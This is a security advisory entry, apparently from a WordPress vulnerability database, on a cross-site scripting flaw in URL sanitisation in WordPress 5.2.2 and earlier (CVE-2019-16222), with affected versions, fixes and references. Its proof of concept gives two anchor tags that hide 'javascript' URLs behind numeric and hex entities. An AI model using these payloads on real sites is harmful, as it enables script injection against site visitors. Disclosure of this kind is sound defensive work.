logoWordPressPluginsThemesAPISubmitContact
search-icon
logo
search-icon
WordPressPluginsThemesAPISubmitContactSecurity Scanner
Register

WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation

Description

According to the WordPress release notes:

"Props to Soroush Dalili (@irsdl) from NCC Group for disclosing an issue with URL sanitization that can lead to cross-site scripting (XSS) attacks."

Proof of Concept

Thanks to @irsdl's Hacker1 disclosure:

<a href="javascript&#58alert(document.domain)">JS - Numerical Entities</a>
<a href="javascript&#x3ax=1;alert(document.domain)">JS - Hex Entities</a>

Affects WordPresses

3.8.1

Fixed in version 3.8.30✓

3.8

Fixed in version 3.8.30✓

3.7.1

Fixed in version 3.7.30✓

3.6

Fixed in version 5.2.3✓

3.5.2

Fixed in version 5.2.3✓

3.5.1

Fixed in version 5.2.3✓

3.5

Fixed in version 5.2.3✓

3.4.2

Fixed in version 5.2.3✓

3.4.1

Fixed in version 5.2.3✓

3.4

Fixed in version 5.2.3✓

References

CVE

CVE-2019-16222

URL

https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/

URL

https://github.com/WordPress/WordPress/commit/30ac67579559fe42251b5a9f887211bf61a8ed68

URL

https://hackerone.com/reports/339483

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CWE-79

Miscellaneous

Original Researcher

Soroush Dalili (@irsdl) - NCC Group

Submitter

Ryan Dewhurst

Verified

No

WPVDB ID

4494a903-5a73-4cad-8c14-1e7b4da2be61

Timeline

Publicly Published

2019-09-05 (about 2 years ago)

Added

2019-09-05 (about 2 years ago)

Last Updated

2020-09-22 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin